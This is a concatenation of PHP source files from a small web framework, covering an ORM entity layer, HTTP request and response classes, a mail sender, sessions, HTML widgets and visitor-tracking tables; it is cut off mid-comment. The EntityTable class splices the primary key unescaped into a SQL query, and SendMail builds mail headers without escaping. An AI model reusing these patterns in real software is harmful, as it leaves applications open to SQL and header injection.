abstract class Entity implements IEntity
{
// KEEP IN MIND THAT FOR EVERY DATABASE ROW THIS IS INSTANTIATED
// TRY STORE MINIMUM AS POSSIBLE IN ENTITY INSTANCE!!!
// IF POSSIBLE, MOVE ENTITY CONSTANT THINGS TO CLASS STATICS
/**
* Entity manager that owns this instance
* @var EntityManager
*/
private $flags = IEntity::FLAGS_UNKNOWN_STATE;
/**
* All data are stored here in array with key as version
*/
private $data;
/**
* Good reason for private constructor
*/
private function __construct()
{
$this->data = array(
IEntity::VERSION_ORIGINAL => array(),
IEntity::VERSION_ORIGINAL_DB => array(),
);
}
/**
* Do not call this. Internal use only
*/
public static final function createNewUninitializedInstance()
{
$cls = get_called_class();
return new $cls();
}
public function __toString()
{
return '[Entity '.get_class($this)."']";
}
/**
* @return EntityMapping
*/
public static function getTable()
{
$cls = get_called_class().'Table';
return $cls::getInstance();
}
public static final function create()
{
return static::getTable()->create(func_get_args());
}
public static final function load()
{
return static::getTable()->load(func_get_args(), null, false);
}
public static function loadOrCreate()
{
return static::getTable()->load(func_get_args(), null, true);
}
public static function exists()
{
return static::getTable()->exists(func_get_args());
}
public static function find()
{
return static::getTable()->find(func_get_args());
}
public function save()
{
return static::getTable()->save($this);
}
public function delete()
{
return static::getTable()->delete($this);
}
/*
public function setPrimaryKey($id, $version = IEntity::VERSION_NEW)
{
throw new NotImplementedException();
}
public function getPrimaryKey($version = IEntity::VERSION_NEW)
{
throw new NotImplementedException();
}
*/
public function set($name, $value, $version = Entity::VERSION_NEW, $trust_args = false)
{
if(!$trust_args && !$this->has($name))
throw new InvalidArgumentException("set('$name', ..., ver$version)");
$this->data[$version][$name] = $value;
}
public function has($name, $version = null)
{
if($version === null)
return $this->getTable()->hasColumn($name);
return array_key_exists($name, $this->data[$version]);
}
public function get($name, $version = Entity::VERSION_NEW, $trust_args = false)
{
if(!$this->has($name))
throw new InvalidArgumentException("get('$name', ver$version)");
return $this->data[$version][$name];
}
public function revert($name=null)
{
if($name === null)
{
$this->data[IEntity::VERSION_NEW] = $this->data[IEntity::VERSION_ORIGINAL];
$this->data[IEntity::VERSION_NEW_DB] = $this->data[IEntity::VERSION_ORIGINAL_DB];
}
else
$this->setValue($name, $this->getValue($name, $version = IEntity::VERSION_ORIGINAL));
}
public function hasChanges()
{
throw new NotImplementedException();
}
public function getChanges()
{
throw new NotImplementedException();
}
public function offsetExists ($offset) { return $this->has($offset); }
public function offsetGet ($offset) { return $this->get($offset); }
public function offsetSet ($offset, $value) { return $this->set($offset, $value); }
public function offsetUnset ($offset) { $this->revert($offset); }
public function __get($name) { return $this->get($name); }
public function __set($name, $value) { $this->set($name, $value); }
}
<file_sep><?php
/**
* HttpRequest - request sent via HTTP.
*
* @author langpavel
*/
class HttpRequest extends SafeObject implements ISingleton, ArrayAccess
{
private static $current = null;
/** @var string http method always lowercase */
private $method;
/** @var URI current request uri */
private $uri;
/** @var array */
private $post = array();
/** @var array */
private $files = array();
/** @var array */
private $cookies = array();
/** @var array */
private $headers = array();
/** @var string */
private $remoteAddress;
/** @var string */
private $remoteHost;
/**
* Get instance of current HttpRequest.
* Be carefull, do not modify this instance if it not what you really want.
* You can call HttpRequest::getCurrent() with feel of safety in your head.
*/
public static function getInstance()
{
if(self::$current !== null)
return self::$current;
if (function_exists('apache_request_headers'))
$request_headers = array_change_key_case(apache_request_headers(), CASE_LOWER);
else
{
$request_headers = array();
foreach($_SERVER as $k => $v)
{
if(strncmp($k, 'HTTP_', 5) == 0)
{
$k = strtolower(strtr(substr($k, 5), '_', '-'));
$request_headers[$k] = $v;
}
}
}
self::$current = new HttpRequest(
URI::getCurrent(),
$_POST,
$_FILES,
$_COOKIE,
$request_headers,
isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : null,
isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : null,
isset($_SERVER['REMOTE_HOST']) ? $_SERVER['REMOTE_HOST'] : null
);
return self::$current;
}
/**
* Creates current HttpRequest object.
* @return Request
*/
public static function getCurrent()
{
return clone self::getInstance();
}
public function __construct(URI $uri, $post = null, $files = null, $cookies = null,
$headers = null, $method = null, $remoteAddress = null, $remoteHost = null)
{
$this->setUri($uri);
$this->setPost($post);
$this->setFiles($files);
$this->setCookies($cookies);
$this->setHeaders($headers);
$this->setMethod($method);
$this->setRemoteAddress($remoteAddress);
$this->setRemoteHost($remoteHost);
}
public function isGet() { return $this->method == 'get'; }
public function isPost() { return $this->method == 'post'; }
public function setQuery($value) { $this->uri->setQuery($value); }
public function getQuery($part = null, $default = null)
{
return $this->uri->getQuery($part, $default);
}
/**
* if request is ajax or ajax or json HTTP query parameters are set
*/
public function isAjax()
{
return ('xmlhttprequest' == strtolower($this->getHeader('X-Requested-With', '')))
|| $this->getQuery('ajax', false)
|| $this->getQuery('json', false);
}
/**
* Get value of method
* @return mixed method
*/
public function getMethod() { return $this->method; }
/**
* Set value of method
* @param mixed $value method
* @return HttpRequest self
*/
public function setMethod($value) { $this->method = strtolower($value); return $this; }
/**
* Get value of uri
* @return mixed uri
*/
public function getUri() { return $this->uri; }
/**
* Set value of url
* @param mixed $value url
* @return HttpRequest self
*/
public function setUri($value)
{
$this->uri = URI::get($value);
return $this;
}
/**
* Get value of POST
* @param mixed $key
* @param mixed $default
* @return mixed post
*/
public function getPost($key = null, $default = null)
{
if($key === null)
return $this->post;
return isset($this->post[$key]) ? $this->post[$key] : $default;
}
/**
* Set value of POST
* @param mixed $key
* @param mixed $value
* @return HttpRequest self
*/
public function setPost($key, $value = null)
{
if($value === null && is_array($key))
$this->post = array_merge($this->post, $key);
else
$this->post[$key] = $value;
return $this;
}
/**
* Get value of files
* @return mixed files
*/
public function getFiles() { return $this->files; }
/**
* Set value of files
* @param mixed $value files
* @return HttpRequest self
*/
public function setFiles($value) { $this->files = $value; return $this; }
/**
* Get value of cookies
* @return mixed cookies
*/
public function getCookies() { return $this->cookies; }
/**
* Set value of cookies
* @param mixed $value cookies
* @return HttpRequest self
*/
public function setCookies($value) { $this->cookies = $value; return $this; }
/**
* Return the value of the HTTP header. Pass the header name as the
* plain, HTTP-specified header name (e.g. 'Accept-Encoding').
* @param string
* @param mixed
* @return mixed
*/
public function getHeader($header, $default = NULL)
{
$header = strtolower($header);
return isset($this->headers[$header]) ? $this->headers[$header] : $default;
}
/**
* Get value of headers - keys are lower-cased
* @return mixed headers
*/
public function getHeaders() { return $this->headers; }
/**
* Set value of headers
* @param mixed $value headers
* @return HttpRequest self
*/
public function setHeaders($value) { $this->headers = $value; return $this; }
/**
* Get value of remoteAddress
* @return mixed remoteAddress
*/
public function getRemoteAddress() { return $this->remoteAddress; }
/**
* Set value of remoteAddress
* @param mixed $value remoteAddress
* @return HttpRequest self
*/
public function setRemoteAddress($value) { $this->remoteAddress = $value; return $this; }
/**
* Get value of remoteHost
* @return mixed remoteHost
*/
public function getRemoteHost() { return $this->remoteHost; }
/**
* Set value of remoteHost
* @param mixed $value remoteHost
* @return HttpRequest self
*/
public function setRemoteHost($value) { $this->remoteHost = $value; return $this; }
public function offsetExists ($offset) { throw new NotImplementedException(); }
/**
* Get value of POST or GET
* @param offset
*/
public function offsetGet($offset)
{
// TODO: Implement all required
return isset($this->post[$offset]) ? $this->post[$offset] : $this->uri->getQuery($offset, null);
}
/**
* @param offset
* @param value
*/
public function offsetSet ($offset, $value) { throw new NotImplementedException(); }
/**
* @param offset
*/
public function offsetUnset ($offset) { throw new NotImplementedException(); }
//public function execute()
//{
// // TODO: check if request is not recursive
// // TODO: do request throught cURL
// // TODO: return HttpResponse object or descendant - should be transparent
// throw new NotImplementedException();
//}
}
<file_sep><?php
final class SendMail extends SafeObject
{
private $headers = array();
private $message;
public function __construct()
{
parent::__construct();
}
public function setHeader($key, $value)
{
$this->headers[$key] = $value;
}
public function setContent($message)
{
$this->message = $message;
}
public function send()
{
$headers = array();
foreach($this->headers as $key=>$header)
{
if($key == 'To' || $key == 'Subject')
continue;
// TODO: Escape headers
if(is_numeric($key))
$headers[] = $header;
else
$headers[] = "$key: $header";
}
return mail($this->headers['To'],
$this->headers['Subject'],
$this->message, implode(PHP_EOL, $headers));
}
}<file_sep><?php
/**
* Abstract class for session management.
* Provides unified API for working with session data
* @author langpavel
*/
abstract class Session extends SafeObject implements ArrayAccess
{
/**
* Instance of selected session manager
* @var Session
*/
private static $instance = null;
/**
* Session variables
* @var VariableSet
*/
protected static $variables;
/**
* Get selected session manager
* @throws InvalidOperationException
*/
public static function getInstance()
{
if(Session::$instance === null)
throw new InvalidOperationException('Session manager has not been selected');
return Session::$instance;
}
protected function __construct()
{
if(Session::$instance !== null)
throw new InvalidOperationException('Session manager already selected');
Session::$instance = $this;
}
abstract public function isStarted();
abstract public function start();
abstract public function startNew();
protected function checkStarted()
{
if(!$this->isStarted())
throw new InvalidOperationException('Session was not started');
return true;
}
public function has($name, $value)
{
Session::$variables->set($name, $value);
}
public function set($name, $value)
{
Session::$variables->set($name, $value);
}
public function get($name)
{
return Session::$variables->get($name);
}
public function unsetVar($name)
{
return Session::$variables->unsetVar($name);
}
// ArrayAccess
public function offsetExists ($offset) { return $this->has($offset); }
public function offsetGet ($offset) { return $this->get($offset); }
public function offsetSet ($offset, $value) { $this->set($offset, $value); }
public function offsetUnset ($offset) { $this->unsetVar($offset); }
}
<file_sep><?php
class HtmlWidget extends Widget
{
private $name = null;
protected $tagName;
protected $attributes = array();
public function __construct($tagName, $name_or_attrs = null, $parent = null)
{
$name = $name_or_attrs;
if($parent === null && $name_or_attrs instanceof Composite)
{
$parent = $name;
$name_or_attrs = $name = null;
}
else if(is_array($name_or_attrs))
{
$this->attributes = array_merge($this->attributes, $name_or_attrs);
$name = isset($name_or_attrs['id']) ? $name_or_attrs['id'] :
(isset($name_or_attrs['name']) ? $name_or_attrs['name'] : null);
}
parent::__construct($parent);
$this->setChildClass(__CLASS__);
$this->tagName = $tagName;
if($name !== null)
$this->setName($name);
}
public function setName($name)
{
$this->name = $name;
return $this;
}
public function hasAttribute($name)
{
return isset($this->attributes[$name]) && !empty($this->attributes[$name]);
}
public function getAttribute($name, $default = null)
{
if(isset($this->attributes[$name]))
return $this->attributes[$name];
else
return $default;
}
public function setAttribute($name, $value)
{
$this->attributes[$name] = $value;
return $this;
}
public function getAttributes()
{
$result = array();
foreach($this->attributes as $atr=>$val)
{
if(is_array($val))
$val = implode(' ', $val);
else if($val === false)
continue;
else if($val === true)
$result[] = "$atr=\"$atr\"";
else if(is_real($val))
$result[] = sprintf('%s="%F"', $atr, $val);
else
$result[] = $atr.'="'.htmlentities($val).'"';
}
return implode(' ', $result);
}
public function getContent()
{
if(count($this) == 0)
return null;
$result = array();
foreach($this as $child)
$result[] = $child->toHtml();
return implode('', $result);
}
public function toHtml()
{
$tag = $this->tagName;
$attrs = $this->getAttributes();
$content = $this->getContent();
$tag_atrs = trim($tag.' '.$attrs);
if($content === null)
return "<$tag_atrs />";
else
return "<$tag_atrs>$content</$tag>";
}
public function __tostring()
{
return $this->toHtml();
}
public function addText($unsafe_text)
{
Html::Text($unsafe_text, $this);
return $this;
}
public function addHtml($html_text)
{
Html::Html($html_text, $this);
return $this;
}
public function addTag($tag, $attributes=null, $content=null)
{
Html::Tag($tag, $attributes, $content, $this);
return $this;
}
}
<file_sep><?php
abstract class TableColumn extends SafeObject
{
private $name;
private $db_column;
private $display_name;
private $display_hint;
private $delay_load;
private $nullable;
private $required;
private $default_value;
private $concurrency_checked;
/**
* consumes and checks costructor parameters
*/
protected function consume_param(array &$params, $property_name, $property_setter = null, $default = null, array $possibilities = null)
{
$value = $default;
if(isset($params[$property_name]))
{
$value = $params[$property_name];
unset($params[$property_name]);
}
else
$value = $default;
if($possibilities !== null)
{
if(!in_array($value, $possibilities, true))
throw new InvalidArgumentException("Invalid value for property '$property_name'");
}
if(is_array($property_setter))
call_user_func($property_setter, $value);
else if($property_setter !== null)
$this->$property_setter = $value;
else
$this->$property_name = $value;
}
public function __construct($name, array $params = null)
{
parent::__construct();
$this->setName($name);
if($params !== null)
{
$this->consume_param($params, 'db_column', array($this, 'setDbColumn'), $name);
$this->consume_param($params, 'display_name');
$this->consume_param($params, 'display_hint');
$this->consume_param($params, 'delay_load', null, false, array(true, false));
$this->consume_param($params, 'nullable', null, true, array(true, false));
$this->consume_param($params, 'required', null, false, array(true, false));
$this->consume_param($params, 'default_value');
$this->consume_param($params, 'default', array($this, 'setDefaultValue'));
$this->consume_param($params, 'concurrency_checked', null, true, array(true, false));
}
if(!empty($params))
throw new InvalidArgumentException('Column: \''.$name.'\'Unknown parameter(s) passed: \''.(
implode('\', \'', array_keys($params))).'\'');
}
/**
* Validate and correct value. Must be able convert from string
* (to use with html forms).
* @param mixed $value reference to validate
* @return bool if is correct or repaired
*/
public abstract function correctValue(&$value, &$message = null, $strict = false);
/**
* Transform $value given from database to PHP mapped type
* @return mixed value transformed to appropriate PHP type or class
*/
public function fromDbFormat($value)
{
return $value;
}
/**
* Transform $value to sclalar types storable in database
* @return mixed sclalar type or array if
*/
public function toDbFormat($value)
{
return $value;
}
/* PROPERTIES*/
/**
* Get value of name
* @return mixed name
*/
public function getName() { return $this->name; }
/**
* Set value of name
* @param mixed $value name
* @return ColumnMapping self
*/
protected function setName($value) { $this->name = $value; return $this; }
/**
* Get value of db_name
* @return string|array database column name(s)
*/
public function getDbColumn() { return $this->db_column; }
/**
* Set value of db_name
* @param mixed $value db_name
* @return ColumnMapping self
*/
protected function setDbColumn($value) { $this->db_column = $value; return $this; }
/**
* Get value of delay_load
* @return mixed delay_load
*/
public function getDelayLoad() { return $this->delay_load; }
/**
* Set value of delay_load
* @param mixed $value delay_load
* @return ColumnMapping self
*/
public function setDelayLoad($value) { $this->delay_load = $value; return $this; }
/**
* Get value of display_name
* @return mixed display_name
*/
public function getDisplayName() { return $this->display_name; }
/**
* Set value of display_name
* @param mixed $value display_name
* @return ColumnMapping self
*/
public function setDisplayName($value) { $this->display_name = $value; return $this; }
/**
* Get value of display_hint
* @return mixed display_hint
*/
public function getDisplayHint() { return $this->display_hint; }
/**
* Set value of display_hint
* @param mixed $value display_hint
* @return ColumnMapping self
*/
public function setDisplayHint($value) { $this->display_hint = $value; return $this; }
/**
* Get value of not_null
* @return mixed not_null
*/
public function isNullable() { return $this->nullable; }
/**
* Set value of not_null
* @param mixed $value not_null
* @return ColumnMapping self
*/
public function setNullable($value) { $this->nullable = $value; return $this; }
/**
* Get value of required
* @return mixed required
*/
public function isRequired() { return $this->required; }
/**
* Set value of required
* @param mixed $value required
* @return ColumnMapping self
*/
public function setRequired($value) { $this->required = $value; return $this; }
/**
* Get value of default_value
* @return mixed default_value
*/
public function getDefaultValue() { return $this->default_value; }
/**
* Set value of default_value
* @param mixed $value default_value
* @return ColumnMapping self
*/
public function setDefaultValue($value) { $this->default_value = $value; return $this; }
/**
* Get value of concurrency_checked
* @return mixed concurrency_checked
*/
public function isConcurrencyChecked() { return $this->concurrency_checked; }
/**
* Set value of concurrency_checked
* @param mixed $value concurrency_checked
* @return ColumnMapping self
*/
public function setConcurrencyChecked($value) { $this->concurrency_checked = $value; return $this; }
}
<file_sep><?php
/**
* This file is part of the PhpSkelet Framework.
*
* @copyright Copyright (c) 2011 <NAME> (<EMAIL>)
* @license This source file is subject to the PhpSkelet/LGPL license.
*/
header('Content-Type: text/html');
echo '<?xml version="1.0" encoding="utf-8" ?>';
?>
<html>
<head>
<title>Autoloader generator</title>
</head>
<body>
<h1>Autoloader generator</h1>
<?php
require_once __DIR__.'/../Reflection/AutoloaderGenerator.php';
$generator = new AutoloaderGenerator();
if(isset($GLOBALS['generator_paths']))
{
foreach($GLOBALS['generator_paths'] as $value)
{
if(is_array($value))
$generator->addPath($value[0], $value[1]);
else
$generator->addPath($value, true);
}
}
else
$generator->addPath(__DIR__.'/..', true);
$generator->process();
highlight_string($generator);
$filename = realpath(__DIR__.'/../generated_code/').'/autoloader.php';
$result = $generator->writeFile($filename);
if($result)
{
if($result === true)
echo '<p>File "'.$filename.'" is up to date</p>';
else
echo '<p>File "'.$filename.'" was saved</p>';
}
require_once __DIR__.'/../Classes/Debug.php';
echo Debug::getInstance()->dump($generator);
?>
</body>
</html><file_sep><?php
/**
* Abstract
* @author langpavel
*
*/
interface IUser extends IPermissionResolver
{
public function isAnonymous();
/**
* Get URL safe nickname
* @return
*/
public function getNick();
}
<file_sep><?php
/**
* Variable set. Storage for application variables
* @author langpavel
*/
class VariableSet extends SafeObject implements ArrayAccess, IteratorAggregate
{
private $variables = array();
private $soft_mode = false;
public function __construct($initial_set = null)
{
parent::__construct();
if($initial_set !== null)
$this->setVars($initial_set);
}
/**
* If variable is defined
* @param string $name
* @return bool
*/
public function has($name) { return isset($this->variables[$name]); }
/**
* Set variable value
* @param string $name
* @param mixed $val
*/
public function set($name, $val) { $this->variables[$name] = $val; }
/**
* Get variable value. If not set, behavior is depended on 'soft_mode'.
* If soft mode is set, return null for nonexisting
* otherwise throws InvalidOperationException
* @param unknown_type $name
* @return mixed variable value
*/
public function get($name)
{
if(isset($this->variables[$name]))
return $this->variables[$name];
if($this->soft_mode)
{
// TODO: possibly some warning here
return null;
}
throw new InvalidOperationException(
"Cannot return undefined application variable '$name'");
}
/**
* Unset variable
* @param string $name
*/
public function unsetVar($name) { unset($this->variables[$name]); }
/**
* Behaves like array_merge
* @param mixed $iterable key/value array or iterator
*/
public function setVars($iterable)
{
foreach ($iterable as $name=>$val)
$this->setVar($name, $val);
}
// ArrayAccess
public function offsetExists ($offset) { return $this->has($offset); }
public function offsetGet ($offset) { return $this->get($offset); }
public function offsetSet ($offset, $value) { $this->set($offset, $value); }
public function offsetUnset ($offset) { $this->unsetVar($offset); }
// IteratorAggregate
public function getIterator()
{
return new ArrayIterator($this->variables);
}
}
<file_sep>/* visitor list */
CREATE TABLE track_uri
(
id bigint not null primary key auto_increment,
/* schema varchar(5) not null comment 'http, https, ...', */
uri varchar(255) not null comment '',
track_params bool default false comment 'if GET method parameter tracking is enabled',
cnt bigint not null,
index(uri)
);
/* HTTP_USER_AGENT list */
CREATE TABLE track_user_agent
(
id int not null primary key auto_increment,
ua_val varchar(255) not null comment 'full HTTP_USER_AGENT value case sensitive',
browser varchar(25) comment 'real browser name (defined by administrator)',
index(ua_val)
);
/* visitor list */
CREATE TABLE track_visitor
(
id bigint not null primary key auto_increment,
ip varchar(40) comment 'IPv4 or IPv6 address of visitor',
ua_id int not null,
session_id varchar(40) comment 'session id from PHP session mechanism',
user_id bigint comment 'only if user is logged in'
);
/* this table is filled for every request */
CREATE TABLE track_visit
(
id bigint not null primary key auto_increment,
tstamp timestamp not null default CURRENT_TIMESTAMP,
uri_id bigint not null,
method char(10) not null comment 'HTTP/1.1 method GET, POST, PUT, DELETE, ...',
visitor_id bigint,
params text
);
<file_sep><?php
/**
* Use this class only for column definition.
* All logic should be implemented in concrete descendant of Entity
*
* @author <NAME> (<EMAIL>)
*/
abstract class EntityTable extends Singleton
{
protected $dbTable;
private $columns = array();
protected $entityType;
protected $connection;
protected function __construct()
{
parent::__construct();
if($this->dbTable === null)
$this->dbTable = $this->getEntityType();
}
public function setConnection($value)
{
$this->connection = $value;
}
public function getConnection()
{
if(is_array($this->connection))
{
if(count($this->connection) == 2)
$this->connection = ConnectionManager::getInstance()->get(
$this->connection[0], $this->connection[1]);
else if(count($this->connection) == 1)
$this->connection = ConnectionManager::getInstance()->get(
$this->connection[0]);
}
else if(is_string($this->connection))
$this->connection = ConnectionManager::getInstance()->get($this->connection);
else if($this->connection === null)
$this->connection = ConnectionManager::getInstance()->get();
return $this->connection;
}
/**
* @return string Entity type name
*/
public function getEntityType()
{
if($this->entityType !== null)
return $this->entityType;
if(substr(get_called_class(), -5) !== 'Table')
throw new InvalidOperationException('Cannot determine Entity type name');
$this->entityType = substr(get_called_class(), 0, -5);
return $this->entityType;
}
public function addColumn(TableColumn $column)
{
$col_name = $column->getName();
if(isset($this->columns[$col_name]))
throw new InvalidOperationException("Cannot add column name '$col_name' to mapping: column with same name exist");
$this->columns[$col_name] = $column;
}
public function removeColumn($column)
{
if(is_string($column))
unset($this->columns[$column]);
if($column instanceof ColumnMapping)
return in_array($column, $this->columns, true);
}
public function hasColumn($column)
{
if(is_string($column))
return isset($this->columns[$column]);
if($column instanceof ColumnMapping)
return in_array($column, $this->columns, true);
}
public function getColumn($col_name)
{
return $this->columns[$col_name];
}
public function getQueryColumnString($columns = null)
{
if($columns === null)
$columns = $this->columns;
$result = array();
foreach($columns as $column)
{
if(is_string($column))
$column = $this->getColumn($column);
array_append($result, $column->getDbColumn());
}
return implode(', ', $result);
}
/**
* Do not call this, call static methods on concrete entity
* @param unknown_type $primary_key
* @param unknown_type $columns
* @param unknown_type $can_create
* @throws ApplicationException
*/
public function load($primary_key, $columns = null, $can_create = false)
{
$c = $this->getConnection();
$cls = $this->getEntityType();
$sql = 'SELECT '.$this->getQueryColumnString().
" FROM [$this->dbTable]".
" WHERE id=$primary_key[0]";
$q = $c->query($sql);
$r = $q->fetchAll();
if(count($r) == 0)
{
if(!$can_create)
throw new ApplicationException('Entity does not exists');
$entity = $cls::createNewUninitializedInstance();
$this->createEntity($entity);
return $entity;
}
elseif(count($r) > 1)
throw new ApplicationException('Entity multiple matches!');
$data = $r[0];
$entity = $cls::createNewUninitializedInstance();
$this->loadEntity($entity, $data);
return $entity;
}
/**
* Transform raw database data to entity
* @param Entity $entity entity or entity alias
* @param array $data values readed from database
* @return Entity
*/
protected function loadEntity($entity, $data)
{
foreach($this->columns as $column)
{
$colname = $column->getName();
$db_name = $column->getDbColumn();
if(is_array($db_name))
throw NotImplementedException();
else
{
// if column is not readed, do nothing
if(!isset($data[$db_name]))
continue;
$val = $data[$db_name];
}
$entity->set($colname, $val, IEntity::VERSION_ORIGINAL_DB, true);
$val = $column->fromDbFormat($val);
$entity->set($colname, $val, IEntity::VERSION_ORIGINAL, true);
$entity->revert();
}
}
protected function createEntity(IEntity $entity)
{
foreach($this->columns as $column)
{
$colname = $column->getName();
$val = $column->getDefaultValue();
$entity->set($colname, $val, IEntity::VERSION_NEW, true);
}
}
/**
* Transform entity to database values
* @param Entity $entity
* @return array data to persist
*/
protected function saveEntity(IEntity $entity)
{
}
/**
* Transform entity to database values
* @param Entity $entity
* @return array data to persist
*/
protected function deleteEntity(IEntity $entity)
{
}
}
<file_sep><?php
abstract class HttpResponse extends SafeObject implements IResponse
{
/**
* Here are http response codes as described by RFC 2616 (http://www.faqs.org/rfcs/rfc2616.html)
* Other known extension codes are commented out.
* @var array
*/
public static $HTTP_CODE_PHRASE = array(
/* HTTP 1xx Informational */
100=>"Continue",
101=>"Switching Protocols",
//102=>"Processing",
//122=>"Request-URI too long",
/* HTTP 2xx Success */
200=>"OK",
201=>"Created",
202=>"Accepted",
203=>"Non-Authoritative Information",
204=>"No Content",
205=>"Reset Content",
206=>"Partial Content",
//207=>"Multi-Status",
//226=>"IM Used", // (RFC 3229) The server has fulfilled a GET request for the resource, and the response is a representation of the result of one or more instance-manipulations applied to the current instance.
/* HTTP 3xx Redirection */
300=>"Multiple Choices",
301=>"Moved Permanently",
302=>"Found",
303=>"See Other",
304=>"Not Modified",
305=>"Use Proxy",
//306=>"Switch Proxy", // deprecated
307=>"Temporary Redirect",
/* HTTP 4xx Client Error */
400=>"Bad Request",
401=>"Unauthorized",
402=>"Payment Required",
403=>"Forbidden",
404=>"Not Found",
405=>"Method Not Allowed",
406=>"Not Acceptable",
407=>"Proxy Authentication Required",
408=>"Request Time-out",
409=>"Conflict",
410=>"Gone",
411=>"Length Required",
412=>"Precondition Failed",
413=>"Request Entity Too Large",
414=>"Request-URI Too Large",
415=>"Unsupported Media Type",
416=>"Requested range not satisfiable",
417=>"Expectation Failed",
//418=>"I'm a teapot",
422=>"Unprocessable Entity",
423=>"Locked",
424=>"Failed Dependency",
425=>"No code",
426=>"Upgrade Required",
/* others... */
//444=>"No Response", // An Nginx HTTP server extension. The server returns no information to the client and closes the connection (useful as a deterrent for malware).
//449=>"Retry With", // A Microsoft extension. The request should be retried after performing the appropriate action.
//450=>"Blocked by Windows Parental Controls", // A Microsoft extension. This error is given when Windows Parental Controls are turned on and are blocking access to the given webpage.
//499=>"Client Closed Request", // An Nginx HTTP server extension. This code is introduced to log the case when the connection is closed by client while HTTP server is processing its request, making server unable to send the HTTP header back.
/* HTTP 5xx Server Error */
500=>"Internal Server Error",
501=>"Not Implemented",
502=>"Bad Gateway",
503=>"Service Unavailable",
504=>"Gateway Time-out",
505=>"HTTP Version not supported",
//506=>"Variant Also Negotiates",
//507=>"Insufficient Storage",
//510=>"Not Extended"
);
/*
* Generated by code:
* foreach(HttpResponse::HTTP_CODE_PHRASE as $k=>$v) {
* $v = str_replace(array(' ', '-', "'"), '_', strtoupper($v));
* echo "\tconst HTTP_$v = $k;\n";
* }
*/
/**
* @abstract RFC 2616:<br/>
* The client SHOULD continue with its request. This interim response is used to inform the client that the initial part of the request has been received and has not yet been rejected by the server. The client SHOULD continue by sending the remainder of the request or, if the request has already been completed, ignore this response. The server MUST send a final response after the request has been completed. See section 8.2.3 for detailed discussion of the use and handling of this status code.
*/
const HTTP_CONTINUE = 100;
const HTTP_SWITCHING_PROTOCOLS = 101;
/**
* @abstract RFC 2616:<br/>
* The request has succeeded. The information returned with the response is dependent on the method used in the request, for example:<br/>
* GET an entity corresponding to the requested resource is sent in the response;<br/>
* HEAD the entity-header fields corresponding to the requested resource are sent in the response without any message-body;<br/>
* POST an entity describing or containing the result of the action;<br/>
* TRACE an entity containing the request message as received by the end server.
*/
const HTTP_OK = 200;
/**
* @abstract RFC 2616:<br/>
* The request has been fulfilled and resulted in a new resource being created. The newly created resource can be referenced by the URI(s) returned in the entity of the response, with the most specific URI for the resource given by a Location header field. The response SHOULD include an entity containing a list of resource characteristics and location(s) from which the user or user agent can choose the one most appropriate. The entity format is specified by the media type given in the Content-Type header field. The origin server MUST create the resource before returning the 201 status code. If the action cannot be carried out immediately, the server SHOULD respond with 202 (Accepted) response instead.<br/>
* A 201 response MAY contain an ETag response header field indicating the current value of the entity tag for the requested variant just created, see section 14.19.
*/
const HTTP_CREATED = 201;
/**
* @abstract RFC 2616:<br/>
* The request has been accepted for processing, but the processing has not been completed. The request might or might not eventually be acted upon, as it might be disallowed when processing actually takes place. There is no facility for re-sending a status code from an asynchronous operation such as this.<br/>
* The 202 response is intentionally non-committal. Its purpose is to allow a server to accept a request for some other process (perhaps a batch-oriented process that is only run once per day) without requiring that the user agent's connection to the server persist until the process is completed. The entity returned with this response SHOULD include an indication of the request's current status and either a pointer to a status monitor or some estimate of when the user can expect the request to be fulfilled.
*/
const HTTP_ACCEPTED = 202;
const HTTP_NON_AUTHORITATIVE_INFORMATION = 203;
const HTTP_NO_CONTENT = 204;
const HTTP_RESET_CONTENT = 205;
const HTTP_PARTIAL_CONTENT = 206;
/**
* @abstract RFC 2616:<br/>
* The requested resource corresponds to any one of a set of representations, each with its own specific location, and agent- driven negotiation information (section 12) is being provided so that the user (or user agent) can select a preferred representation and redirect its request to that location.<br/>
* Unless it was a HEAD request, the response SHOULD include an entity containing a list of resource characteristics and location(s) from which the user or user agent can choose the one most appropriate. The entity format is specified by the media type given in the Content- Type header field. Depending upon the format and the capabilities of
* the user agent, selection of the most appropriate choice MAY be performed automatically. However, this specification does not define any standard for such automatic selection.<br/>
* If the server has a preferred choice of representation, it SHOULD include the specific URI for that representation in the Location field; user agents MAY use the Location field value for automatic redirection. This response is cacheable unless indicated otherwise.
*/
const HTTP_MULTIPLE_CHOICES = 300;
/**
* @abstract RFC 2616:<br/>
* The requested resource has been assigned a new permanent URI and any future references to this resource SHOULD use one of the returned URIs. Clients with link editing capabilities ought to automatically re-link references to the Request-URI to one or more of the new references returned by the server, where possible. This response is cacheable unless indicated otherwise.<br/>
* The new permanent URI SHOULD be given by the Location field in the response. Unless the request method was HEAD, the entity of the response SHOULD contain a short hypertext note with a hyperlink to the new URI(s).<br/>
* If the 301 status code is received in response to a request other than GET or HEAD, the user agent MUST NOT automatically redirect the request unless it can be confirmed by the user, since this might change the conditions under which the request was issued.<br/>
*
* <em><strong>Note:</strong>
* When automatically redirecting a POST request after
* receiving a 301 status code, some existing HTTP/1.0 user agents
* will erroneously change it into a GET request.</em>
*/
const HTTP_MOVED_PERMANENTLY = 301;
/**
* @abstract RFC 2616:<br/>
* The requested resource resides temporarily under a different URI. Since the redirection might be altered on occasion, the client SHOULD continue to use the Request-URI for future requests. This response is only cacheable if indicated by a Cache-Control or Expires header field.<br/>
* The temporary URI SHOULD be given by the Location field in the response. Unless the request method was HEAD, the entity of the response SHOULD contain a short hypertext note with a hyperlink to the new URI(s).<br/>
* If the 302 status code is received in response to a request other than GET or HEAD, the user agent MUST NOT automatically redirect the request unless it can be confirmed by the user, since this might change the conditions under which the request was issued.<br/>
*
* <em><strong>Note:</strong>
* RFC 1945 and RFC 2068 specify that the client is not allowed
* to change the method on the redirected request. However, most
* existing user agent implementations treat 302 as if it were a 303
* response, performing a GET on the Location field-value regardless
* of the original request method. The status codes 303 and 307 have
* been added for servers that wish to make unambiguously clear which
* kind of reaction is expected of the client.
*/
const HTTP_FOUND = 302;
/**
* @abstract RFC 2616:<br/>
* The response to the request can be found under a different URI and SHOULD be retrieved using a GET method on that resource. This method exists primarily to allow the output of a POST-activated script to redirect the user agent to a selected resource. The new URI is not a substitute reference for the originally requested resource. The 303 response MUST NOT be cached, but the response to the second (redirected) request might be cacheable.<br/>
* The different URI SHOULD be given by the Location field in the response. Unless the request method was HEAD, the entity of the response SHOULD contain a short hypertext note with a hyperlink to the new URI(s).<br/>
*
* <em><strong>Note:</strong>
